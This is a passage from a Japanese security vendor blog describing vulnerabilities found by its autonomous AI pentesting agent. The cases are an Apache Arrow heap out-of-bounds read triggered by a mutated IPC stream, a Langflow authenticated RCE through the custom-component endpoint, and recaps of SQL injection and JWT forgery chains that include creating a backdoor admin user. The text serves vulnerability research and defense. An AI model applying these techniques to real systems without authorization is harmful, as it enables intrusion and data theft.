&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;null_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;node&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;null_count&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;OK&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;しかし、リーダーは、メタデータとともに渡される物理バッファが、宣言された&lt;code&gt;out-&amp;gt;length&lt;/code&gt;を収容できるだけの大きさを持つかどうかを一度も検証していませんでした。&lt;/p&gt;
&lt;p&gt;このフレームワークはゼロコピーで高スループットの分析向けに最適化されているため、後続の配列操作では要素アクセス時の実行時境界チェックが省略されています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// array/array_binary.h:94-96&lt;/span&gt;
&lt;span class="c1"&gt;/// \brief Return the data buffer absolute offset of the data for the value at the passed index.&lt;/span&gt;
&lt;span class="c1"&gt;/// Does not perform boundschecking&lt;/span&gt;
&lt;span class="n"&gt;offset_type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;value_offset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw_value_offsets_&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Apache Arrowのバイナリ配列では、オフセットは32ビット（4バイト）の整数として格納されます。&lt;code&gt;length = 50000&lt;/code&gt;を宣言する配列では、文字列の境界を区切るために&lt;code&gt;50001&lt;/code&gt;個のオフセット整数（約200,004バイト、つまり約200 KB）が必要です。受信したストリームが&lt;code&gt;length = 50000&lt;/code&gt;を宣言しているのに24バイトのバッファ（整数6個分しか保持できない）しか渡さない場合、インデックス5を超えるアクセスはすべて確保されたバッファの外側に踏み出します。&lt;/p&gt;
&lt;h3 id="deep agentic scanはファザーの死角をどう回避したか"&gt;Deep Agentic Scanはファザーの死角をどう回避したか&lt;/h3&gt;
&lt;p&gt;なぜこの脆弱性は、既存の継続的なファジングハーネスで見逃されていたのでしょうか。&lt;/p&gt;
&lt;p&gt;リポジトリの内部ファズターゲットには、各バッチを読み取った後に明示的な検証呼び出しが含まれていました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// stream_fuzz.cc&lt;/span&gt;
&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ValidateFull&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;DISCARD_UNUSED&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;ValidateFull()&lt;/code&gt;は、24バイトのバッファが50,000エントリに必要な約200 KBよりはるかに小さいことを正しく検出し、エラー&lt;code&gt;Status::Invalid&lt;/code&gt;を返していました。しかし、ファザーのハーネスは&lt;code&gt;DISCARD_UNUSED&lt;/code&gt;で戻り値を破棄し、終了コード&lt;code&gt;0&lt;/code&gt;で正常に終了していました。ファザーから見れば、実行はまったく問題のないものでした。&lt;/p&gt;
&lt;p&gt;さらに重要なのは、&lt;strong&gt;公開クライアントAPI（&lt;code&gt;RecordBatchStreamReader::ReadNext()&lt;/code&gt;）は&lt;code&gt;ValidateFull()&lt;/code&gt;を呼び出さない&lt;/strong&gt;という点です。すべてのバッチに対して完全な構造検証を行うと、高スループットのストリーミングパイプラインに深刻な性能上のオーバーヘッドが生じるためです。公開APIを通じて信頼できないストリームを直接利用する現実のアプリケーションは、まったく無防備な状態に置かれていました。&lt;/p&gt;
&lt;p&gt;Deep Agentic Scanは、まさにこの食い違いを見抜きました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;APIの差分分析&lt;/strong&gt;：エージェントは、ファズターゲットでの正常終了がエラーの握りつぶしによって生じたものであり、実際の利用側のコードは完全な検証なしにバッチを処理していることを認識しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;変異させたIPCストリームの作成&lt;/strong&gt;：エージェントは、もともと5つの要素を含んでいた336バイトの有効なIPCストリームファイルを取り出し、その長さヘッダーのフィールドを5から50000に書き換えました。これにより、メタデータは50,000行を主張する一方で、データのペイロード自体はごく小さいままという悪意のあるストリームができあがりました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エンドツーエンドのAPI検証&lt;/strong&gt;：エージェントは、公開ライブラリをリンクし、AddressSanitizerの下で&lt;code&gt;RecordBatchStreamReader::Open&lt;/code&gt;と&lt;code&gt;ReadNext&lt;/code&gt;を実行するスタンドアロンの検証ハーネスを作成しました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic Scanの自律的なツール呼び出しが、AddressSanitizerの下で変異させたIPCストリームに対してテストハーネスを実行する様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_4_asan_execution_tool_call.png" title="Deep Agentic ScanによるAddressSanitizerテストハーネス実行のツール呼び出し"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic ScanによるAddressSanitizerテストハーネス実行のツール呼び出し&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;得られた診断出力を調べると、この食い違いがどのようにヒープメモリの破壊とプロセスの終了へと直接つながるかがわかります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Deep Agentic Scanのツール呼び出しがAddressSanitizerの診断トレースを読み取り、ヒープの領域外読み取りとセグメンテーション違反を実証する様子" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_autonomous_agents_tricky_vulnerabilities/finding_4_asan_memory_corruption_trace.png" title="Deep Agentic ScanによるAddressSanitizerのメモリ破壊トレース"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Deep Agentic ScanによるAddressSanitizerのメモリ破壊トレース&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;トレースは、3つの観点からバグを確定させています。
- &lt;strong&gt;バッファの不整合&lt;/strong&gt;：ストリームのメタデータは&lt;code&gt;Batch num_rows: 50000&lt;/code&gt;を宣言しており、オフセットとして&lt;code&gt;50001 int32 entries&lt;/code&gt;（約200 KB）が必要なのに、ペイロードが渡したオフセットバッファはわずか&lt;code&gt;24 bytes&lt;/code&gt;（6エントリ）でした。
- &lt;strong&gt;ヒープの領域外読み取りの実証&lt;/strong&gt;：診断出力は、領域外読み取りが実際に起きていることを示しています。有効なバッファのエントリはインデックス5（&lt;code&gt;value_offset(5) = 23&lt;/code&gt;）で終わっていました。インデックス6から14にかけて、ハーネスは24バイトのバッファを超えてヒープメモリへのインデックスアクセスを続け、周囲のヒープの内容が漏えいしたゴミのメモリ値（&lt;code&gt;1819043176&lt;/code&gt;、&lt;code&gt;1919907695&lt;/code&gt;、&lt;code&gt;1918985324&lt;/code&gt;）を出力しました。
- &lt;strong&gt;マップされていないメモリでのセグメンテーション違反&lt;/strong&gt;：ハーネスが&lt;code&gt;value_offset(49999)&lt;/code&gt;に向けてさらに領域外へと進む（約200 KB先を読み取ろうとする）と、マップされていないメモリページに当たりました。AddressSanitizerは、&lt;code&gt;array_binary.h:95:12&lt;/code&gt;の&lt;code&gt;arrow::BaseBinaryArray&amp;lt;arrow::BinaryType&amp;gt;::value_offset(long)&lt;/code&gt;内で不正な読み取り（&lt;code&gt;SEGV on unknown address 0x614000030e94&lt;/code&gt;）を捕捉し、終了コード134で実行を明確に中断させました。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="重要なポイント:自律エージェントはセキュリティテストをどう変えるか"&gt;重要なポイント：自律エージェントはセキュリティテストをどう変えるか&lt;/h2&gt;
&lt;p&gt;本番アプリケーションに潜む重大なセキュリティ上の欠陥を見つけるには、受動的なスキャナーや静的なルールマッチングの先へ進む必要があります。Webバックエンド、モバイルアプリ、ソースコードリポジトリのいずれにおいても、脆弱性は、開発者が置いた前提が実行時に一度も検証されない箇所で生まれます。&lt;/p&gt;
&lt;p&gt;本記事で詳しく取り上げた4つの検出結果は、セキュリティテストにおけるエージェント型アプローチの実践的な利点を浮き彫りにしています。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;多段階の攻撃の連鎖&lt;/strong&gt;：金融分野のSQLインジェクションの検出結果では、エージェントはデータベースエラーを引き起こした時点で止まりませんでした。抽出用のサブクエリを組み立て、管理者パスワードを取得し、管理ポータルにログインし、永続的なバックドアユーザーを作成し、金融記録をダンプしました。実際のセキュリティテストでは、アプリケーションの複数のステップにわたって最後までやり抜くことが求められます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンテキストを踏まえたロジックの組み立て&lt;/strong&gt;：JWT認証バイパスでは、エージェントは、サーバーが暗号署名を検証せずにクレームを確認していることを導き出し、偽の署名を持つ管理者トークンを偽造し、APIが特権リクエストを処理したことでアクセスを確認しました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;差分による検証がノイズを排除する&lt;/strong&gt;：ArduinoJsonの未初期化メモリについては、静的な警告はすでに開発者によって検討され、「garbage in, garbage out」という前提のもとで意図的に無視されていました。エージェントはテストハーネスをコンパイルし、発生源の追跡を有効にしたValgrind Memcheckの下で実行し、未初期化のスタックのバイトが実際にシリアライズされた出力に漏えいすることを実証し、コード&lt;code&gt;77&lt;/code&gt;で決定的に終了させました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;公開クライアントAPIのテスト&lt;/strong&gt;：Apache Arrowでは、リポジトリの内部ファズハーネスが&lt;code&gt;ValidateFull()&lt;/code&gt;で不正なバッチを捕捉してエラーを破棄していたため、自動ファジングで問題が表面化することはありませんでした。エージェントは、実際のクライアントアプリケーションが高性能のために検証を省略する&lt;code&gt;RecordBatchStreamReader::ReadNext()&lt;/code&gt;を使用していることを認識し、AddressSanitizerの下で実際の公開APIにおけるメモリ破壊を実証しました。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;コンテキストを踏まえたコード分析と実践的な動的検証を組み合わせることで、Deep Agentic Scanは理論上のリスクを再現可能なエンジニアリング上のエビデンスへと変えます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="よくある質問(faq)"&gt;よくある質問（FAQ）&lt;/h2&gt;
&lt;h3 id="deep agentic scanは、標準的な動的アプリケーションセキュリティテスト(dast)とどう違うのか"&gt;Deep Agentic Scanは、標準的な動的アプリケーションセキュリティテスト（DAST）とどう違うのか&lt;/h3&gt;
&lt;p&gt;標準的なDASTツールが事前に設定したペイロードを単一のHTTP入力に大量に送り込むのに対し、Deep Agentic Scanは自律型のAIエージェントを使ってビジネスロジックを理解し、多段階のユーザーワークフローにわたってアプリケーションの状態を追跡し、個別の低重大度の検出結果を連鎖させてエンドツーエンドのエクスプロイトの実証にまとめます。&lt;/p&gt;
&lt;h3 id="deep agentic scanは誤検知を生むか"&gt;Deep Agentic Scanは誤検知を生むか&lt;/h3&gt;
&lt;p&gt;Deep Agentic Scanは、動的検証によって誤検知（フォールスポジティブ）を減らします。パターンマッチングに基づいて潜在的な欠陥を報告するのではなく、エージェントは狙いを定めた再現用ハーネスを実行し、問題を報告する前にその影響を確認します（たとえば、AddressSanitizerの下でメモリ破壊を観測したり、管理操作を通じて権限昇格を検証したりします）。その間も、本番環境で問題となり得る操作を避けるための厳格なガードレールの下で動作します（たとえば、テスト中に明示的に作成したものでない限り、既存のユーザーアカウントやレコードは決して削除しません）。&lt;/p&gt;
&lt;h3 id="deep agentic scanでテストできるアセットは何か"&gt;Deep Agentic Scanでテストできるアセットは何か&lt;/h3&gt;
&lt;p&gt;Deep Agentic Scanは、Webアプリケーション、あらゆるAPI（REST、GraphQL、gRPC、独自プロトコル）、モバイルアプリケーション（iOSおよびAndroid）、クラウドインフラ、そしてあらゆるソースコードリポジトリを対象に動作します。&lt;/p&gt;
&lt;h3 id="スキャンがスコープ外に出ないことを保証するガードレールは何か"&gt;スキャンがスコープ外に出ないことを保証するガードレールは何か&lt;/h3&gt;
&lt;p&gt;Deep Agentic Scanは、テストの深さやコード評価の品質を損なうことなく、スコープ外の操作を最小限に抑えるよう設計された、包括的な多層の安全ガードレールを備えています。
- &lt;strong&gt;スコープとファイアウォールのブラックリスト&lt;/strong&gt;：スキャンの作成時に、ユーザーは明示的なブラックリストやファイアウォールの除外ルールを指定し、機密性の高い環境（稼働中の本番データベースや重要な決済ゲートウェイなど）を隔離できます。
- &lt;strong&gt;設定可能なレート制限（QPS）&lt;/strong&gt;：ユーザーはスキャン作成のステップで独自のレート制限（1秒あたりのクエリ数）を設定でき、スキャンのトラフィックがサーバーに過負荷をかけたり、サービスの劣化を引き起こしたり、DDoS対策のしきい値に達したりすることがないようにできます。
- &lt;strong&gt;カスタムのガードレールプロンプト&lt;/strong&gt;：セキュリティチームは、スキャンのセットアップで直接、独自のガードレールプロンプトを設定できます。
- &lt;strong&gt;ツール呼び出しのリアルタイム検査&lt;/strong&gt;：専任の監督エージェントが、実行前にすべてのツール呼び出しを監視・検査し、対象のパラメーター、URL、ペイロードが許可されたスコープ内に確実にとどまっていることを厳格に検証します。
- &lt;strong&gt;非破壊的な状態ポリシー&lt;/strong&gt;：エージェントは可逆的な操作と非破壊的な状態のルールを徹底し、既存のユーザーレコードや運用データを変更・削除することは決してありません。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "FAQPage",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "Deep Agentic Scanは、標準的な動的アプリケーションセキュリティテスト（DAST）とどう違うのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "標準的なDASTツールが事前に設定したペイロードを単一のHTTP入力に大量に送り込むのに対し、Deep Agentic Scanは自律型のAIエージェントを使ってビジネスロジックを理解し、多段階のユーザーワークフローにわたってアプリケーションの状態を追跡し、個別の低重大度の検出結果を連鎖させてエンドツーエンドのエクスプロイトの実証にまとめます。"
          }
        },
        {
          "@type": "Question",
          "name": "Deep Agentic Scanは誤検知を生むか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Deep Agentic Scanは、動的検証によって誤検知を減らします。パターンマッチングに基づいて潜在的な欠陥を報告するのではなく、エージェントは狙いを定めた再現用ハーネスを実行し、問題を報告する前にその影響を確認します（たとえば、AddressSanitizerの下でメモリ破壊を観測したり、管理操作を通じて権限昇格を検証したりします）。その間も、本番環境で問題となり得る操作を避けるための厳格なガードレールの下で動作します（たとえば、テスト中に明示的に作成したものでない限り、既存のユーザーアカウントやレコードは決して削除しません）。"
          }
        },
        {
          "@type": "Question",
          "name": "Deep Agentic Scanでテストできるアセットは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Deep Agentic Scanは、Webアプリケーション、あらゆるAPI（REST、GraphQL、gRPC、独自プロトコル）、モバイルアプリケーション（iOSおよびAndroid）、クラウドインフラ、そしてあらゆるソースコードリポジトリを対象に動作します。"
          }
        },
        {
          "@type": "Question",
          "name": "スキャンがスコープ外に出ないことを保証するガードレールは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "Deep Agentic Scanは、テストの深さやコード評価の品質を損なうことなく、スコープ外の操作を最小限に抑えるよう設計された、包括的な多層の安全ガードレールを備えています。スコープとファイアウォールのブラックリスト：スキャンの作成時に、ユーザーは明示的なブラックリストやファイアウォールの除外ルールを指定し、機密性の高い環境（稼働中の本番データベースや重要な決済ゲートウェイなど）を隔離できます。設定可能なレート制限（QPS）：ユーザーはスキャン作成のステップで独自のレート制限（1秒あたりのクエリ数）を設定でき、スキャンのトラフィックがサーバーに過負荷をかけたり、サービスの劣化を引き起こしたり、DDoS対策のしきい値に達したりすることがないようにできます。カスタムのガードレールプロンプト：セキュリティチームは、スキャンのセットアップで直接、独自のガードレールプロンプトを設定できます。ツール呼び出しのリアルタイム検査：専任の監督エージェントが、実行前にすべてのツール呼び出しを監視・検査し、対象のパラメーター、URL、ペイロードが許可されたスコープ内にとどまっていることを厳格に検証します。非破壊的な状態ポリシー：エージェントは可逆的な操作と非破壊的な状態のルールを徹底し、既存のユーザーレコードや運用データを変更・削除することは決してありません。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Product"/><category term="Security"/><category term="Deep Agentic Scan"/><category term="AI Pentesting"/><category term="Autonomous Security"/><category term="Vulnerability Research"/><category term="Web Security"/><category term="Mobile Security"/><category term="Source Code Security"/><category term="DAST"/><category term="SAST"/><category term="Application Security"/></entry><entry><title>AIエージェントはSASTの検出結果を実行時に実証できるか</title><link href="https://blog.ostorlab.co/ja/sast-finds-it-can-an-agent-prove-it-runtime-validation.html" rel="alternate"/><published>2026-09-23T10:00:00+02:00</published><updated>2026-09-24T10:00:00+02:00</updated><author><name>Mohammed Lachhab</name></author><id>tag:blog.ostorlab.co,2026-09-23:/ja/sast-finds-it-can-an-agent-prove-it-runtime-validation.html</id><summary type="html">&lt;p&gt;静的解析はバグの可能性を指摘できても、それを実証することはできません。実行時検証によって、Langflowの認証済みRCEを実証し、libxml2の解放後使用について報告されていたトリガー条件を修正しました。&lt;/p&gt;</summary><content type="html">&lt;p&gt;ある自律型エージェントが、Langflow v1.7.3に対する静的アプリケーションセキュリティテスト（SAST）の検出結果を取り上げ、コンストラクターで10秒間スリープするカスタムコンポーネントを送信しました。レスポンスが返ってきたのは10秒後ではなく、40.50秒後でした。サーバーは、検証リクエストごとに送信されたコードを4回実行していたのです。この40.50秒というレスポンスは、コードが実行されているときにしか存在しないため、どの静的解析ツールにも見えません。2つ目の事例であるlibxml2の解放後使用（use-after-free）では、実行時テストが検出結果そのものを修正しました。レポートで必要とされていた6つの条件のうち、3つは実際には不要だったのです。&lt;/p&gt;
&lt;h2 id="実行時検証がsastレポートにもたらすもの"&gt;実行時検証がSASTレポートにもたらすもの&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;実行時検証とは&lt;/strong&gt;&lt;br/&gt;
実行時検証とは、静的解析の検出結果を実行中のアプリケーションに対してテストし、それが本当に発火するのか、どの程度深刻なのか、そして本当に必要な条件は何かを確認することです。可能性にすぎないバグを実証済みのバグに変えるか、あるいは棄却します。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;静的解析ツールはソースコードをスキャンし、脆弱に見える行にフラグを立てます。コードを実行することはないため、フラグが立てられたバグが本物なのか、どれほど深刻なのか、誰に影響するのかを判断することはできません。チームは本物の脆弱性と誤検知（フォールスポジティブ）の仕分けに何時間も費やします。そしてキューの大半がノイズであれば、開発者はあらゆるチケットをノイズとして扱うよう慣らされてしまいます。その中には、いずれインシデントレポートに載ることになる数少ないチケットも含まれます。&lt;/p&gt;
&lt;p&gt;当社は2つの検出結果を実行時検証にかけました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Langflowの認証済みリモートコード実行（RCE）&lt;/strong&gt;：単純なタイミングテストにより、サーバーに送信されたコードが実際に実行されること、そして検証リクエストごとに4回実行されることが実証されました。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;libxml2の解放後使用&lt;/strong&gt;：テストの結果、元のレポートに挙げられていた6つの条件のうち3つは不要であることがわかりました。パース中にメモリ割り当てが失敗しさえすれば、このバグはパーサーのデフォルト設定で発火します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;どちらの事例でも、実行中のシステムは、コードだけではわからなかったことを教えてくれました。1つ目のバグは、コードから想定されるよりも多く実行されていました。2つ目のバグは、レポートが主張していたよりも多くの構成に影響していました。このような検出結果は本物であるにもかかわらず説明が誤っているため、誤った優先度で修正されることになります。&lt;/p&gt;
&lt;p&gt;こうした方法で検出結果を確認するには、かつては専門家が1件あたりおよそ午後いっぱいを費やしていました。ここでいうAIエージェントとは、プローブを計画し、稼働中のターゲットに対して実行し、ステップごとの人間の入力なしにエビデンスを記録する自律型スキャナーです。現在では、実行可能なターゲット、再現可能なアーティファクト、観測可能なシグナルが揃っているすべての検出結果について、このテストを自動的に実行できます。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="この研究はどのように検証されたか"&gt;この研究はどのように検証されたか&lt;/h2&gt;
&lt;p&gt;本記事の検出結果と検証は、Ostorlab Security Research Teamが実施しました。すべての実行時検証は、管理された社内ラボのLangflow（v1.7.3）インスタンスと、AddressSanitizerを有効にしてローカルで再ビルドしたlibxml2に対して実行しました。検出結果は、実証的なタイミング分析、AddressSanitizer（ASan）によるメモリ追跡、そして体系的な前提条件のアブレーション（記載された各要件を取り除いてテストすること）に基づいています。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="静的解析に見えるもの、見えないもの"&gt;静的解析に見えるもの、見えないもの&lt;/h2&gt;
&lt;p&gt;静的解析は、ソースからシンクまで値を追跡し、ソースコード内に危険な経路が存在することを示せます。しかし、その経路がデプロイされたアプリで到達可能かどうか、入力がシンクまで残るかどうか、結果がどれほど深刻か、どの前提条件が本物かは判断できません。&lt;/p&gt;
&lt;p&gt;SASTがその仕事を下手にこなしているわけではありません。当社が繰り返し求めている仕事とは別の仕事をしているのです。&lt;/p&gt;
&lt;p&gt;静的解析ツールは、実行されていないコードについて推論します。その範囲内では高速かつ網羅的で、低コストです。人間がコーヒーを飲み終える前に大規模なリポジトリのすべてのファイルを読み、2022年以来誰も触れていないヘルパーモジュールに残された、忘れられていた&lt;code&gt;exec()&lt;/code&gt;も見つけ出します。&lt;/p&gt;
&lt;p&gt;できないのは、誰かが気にかけるべきかどうかを決める4つの問いに答えることです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;問い&lt;/th&gt;
&lt;th style="text-align: left;"&gt;ソース解析で決着がつかない理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;デプロイされた構成でその経路に到達できるか&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実行時の設定、フィーチャーフラグ、リバースプロキシのルーティング、イングレスフィルター、セッションミドルウェアに依存する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;入力はそのままシンクまで届くか&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;シリアライズ形式、フレームワークによる型強制、型キャスト、Unicode正規化、WAFによる検査に依存する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;発火した場合どれほど深刻か&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;リポジトリの権限ではなく、実行中のOSプロセスの権限、マウントされたシークレット、ネットワーク分離に依存する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;記載された前提条件のうちどれが本物か&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;解析ツールは、自らが追跡した一つの抽象的な経路に沿った条件を報告するのであって、バグを発火させるのに必要な最小の条件セットを報告するわけではない。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;最後の行こそ過小評価されがちなものであり、本記事の2つの事例はいずれもこの点にかかっています。静的な検出結果は、バグが起こり得る&lt;em&gt;一つの&lt;/em&gt;方法を記述したものです。それが、読み手にもツール自身にも、バグが起こる&lt;em&gt;唯一の&lt;/em&gt;方法の記述、ひいては誰が影響を受けるかの記述だと誤解されることがよくあります。&lt;/p&gt;
&lt;p&gt;これはある製品カテゴリに対する不満ではありません。それがそのカテゴリの定義なのです。地図が今この瞬間に橋が閉鎖されているかを教えてくれないのと同じように、動いていないコードについて推論するツールは、稼働中のプロセスに関する事実を報告できません。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="事例1:コードがlangflowについて語っていたこと"&gt;事例1：コードがLangflowについて語っていたこと&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/langflow-ai/langflow"&gt;Langflow&lt;/a&gt;は、LLMワークフローのためのビジュアルビルダーです。ユーザーはキャンバス上でコンポーネントを組み立て、プラットフォーム上でPythonによるカスタムコンポーネントを記述できます。この機能こそが製品そのものであり、だからこそ興味深いのです。危険な挙動は偶然ではなく、製品仕様なのです。&lt;/p&gt;
&lt;p&gt;v1.7.3に対する静的解析のパスは、短く明快なチェーンを生成しました。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/api/v1/custom_component&lt;/code&gt;へのPOSTには、ユーザーが指定したPythonソースが含まれる。&lt;/li&gt;
&lt;li&gt;コードはPythonの動的インポート機構（&lt;code&gt;importlib&lt;/code&gt;）を通じて読み込まれる。&lt;/li&gt;
&lt;li&gt;入力と出力を読み取れるよう、コンポーネントクラスがインスタンス化される。&lt;/li&gt;
&lt;li&gt;したがって、&lt;code&gt;__init__&lt;/code&gt;はLangflowサーバープロセスの権限でプロセス内で実行される。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;サンドボックスも、許可リストも、AST検査もありません。トリックも巧妙なガジェットチェーンもなく、検証はそのものを実行することで行われているのです。&lt;/p&gt;
&lt;p&gt;Pythonを実行することが機能である以上、本当の問いは誰がそれを行えるのかです。共有のLangflowデプロイメントでは、ログインできるあらゆるアカウントが、自身のワークスペースへのアクセスにとどまらず、サーバープロセスの全権限を得ます。この検出結果が扱っているのは、まさにこのギャップです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabレポート上のLangflowの検出結果の根本原因と脆弱なコードフロー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-22_sast_agent_runtime_validation/langflow_root_cause.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;静的な検出結果としてはこれだけでも強力ですが、それでも実証ではありません。ここまでの内容はすべてソースについての主張です。4つの問いが未解決のまま残っており、そのそれぞれが重大度をどちらの方向にも覆し得ます。&lt;/p&gt;
&lt;ul&gt;
